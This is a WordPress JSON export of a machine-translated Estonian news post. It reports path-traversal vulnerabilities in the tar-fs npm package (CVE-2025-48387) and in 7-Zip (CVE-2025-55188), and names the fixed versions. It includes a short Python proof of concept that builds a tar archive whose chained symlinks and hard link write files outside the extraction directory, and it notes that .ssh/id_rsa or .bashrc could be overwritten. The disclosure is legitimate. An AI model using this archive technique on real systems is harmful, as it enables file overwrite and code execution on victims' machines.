{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"V\u00f5rguhaavatavused tar-fs ja 7-Zip, mis v\u00f5imaldavad faile kirjutada p\u00f5hikataloogist v\u00e4ljapoole","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

NPM-paketis tar-fs on leitud n\u00f5rkus (CVE-2025-48387), mis v\u00f5imaldab spetsiaalselt kujundatud tar-arhiivi lahtipakkimisel kirjutada faile mis tahes failis\u00fcsteemi osadesse, ilma et oleks piirangut, kuhu lahtipakkimine toimub (kogukasutaja juurdep\u00e4\u00e4su\u00f5igused v\u00f5imaldavad seda). N\u00f5rkust saab kasutada ka olemasolevate failide \u00fclekirjutamiseks, n\u00e4iteks v\u00f5ib kasutaja kodukatalooge v\u00e4lja kirjutada faile «.ssh\/id_rsa» v\u00f5i «.bashrc» s\u00fcsteemis koodi k\u00e4ivitamiseks. <\/p>\n

Probleemile on m\u00e4\u00e4ratud kriitiline ohtlikkuse tase, arvestades, et pakett tar-fs omab 23 miljonit laadimist n\u00e4dalas ja seda kasutatakse s\u00f5ltuvusena 1155 projektis. Haavatavus on k\u00f5rvaldatud versioonides 3.0.9, 2.1.3 ja 1.16.5, mis loodi mais, kuid teave haavatavuse kohta avaldati alles peaaegu 3 kuud hiljem. <\/p>\n

N\u00f5rkus on p\u00f5hjustatud ebapiisavatest kontrollidest arhiivis olevate s\u00fcmboolsete ja k\u00f5vade linkide suhtes, et kontrollida, kas need ulatuvad lahtipakimise sihtkatalooge. Kontrollide m\u00f6\u00f6da hiilimiseks kasutatakse kahte s\u00fcmboolset linki: esimene viitab arhiivi lahtipakimise juurkatalooge («.»), ja teine luuakse esimese s\u00fcmboolse lingi suhtes ning kasutab nimekihis s\u00fcmboleid «..» v\u00e4ljumiseks baaskataloogist. N\u00e4iteks viitab esimene link «noop\/noop\/noop» «.»-le, samas kui teine «noop\/noop\/noop\/....\/....\/....\/» paljastub kui «.\/....\/....\/». Failide \u00fclekirjutamiseks arhiivis v\u00f5ib luua k\u00f5va lingi, mis viitab v\u00e4list failile teise s\u00fcmboolse lingi suhtes. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n

Sarnane n\u00f5rkus (CVE-2025-55188) on leitud arhivaatoris 7-Zip. Failide kirjutamisel v\u00e4ljaspool baaskatalooge saab 7-Zip kasutada ka s\u00fcmboolseid linke, mille failitees on j\u00e4rjestus «..». Probleem v\u00f5ib esineda, kui lahtipakimise ajal kasutatakse 7-Zip-i mis tahes arhiive, mis toetavad s\u00fcmboolseid linke, n\u00e4iteks zip, tar, 7z ja rar. Probleem on lahendatud versioonis 7-Zip 25.01.
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 (\u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u044b \u0444\u0430\u0439\u043b\u044b «.ssh\/id_rsa» \u0438\u043b\u0438 «.bashrc» \u0432 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-140951","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Haavatavused tar-fs ja 7-Zip'is, mis v\u00f5imaldavad failide kirjutamist v\u00e4ljapoole p\u00f5hikausta | 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tar-fs \u0438 7-Zip, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 | ProHoster","og:description":"\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 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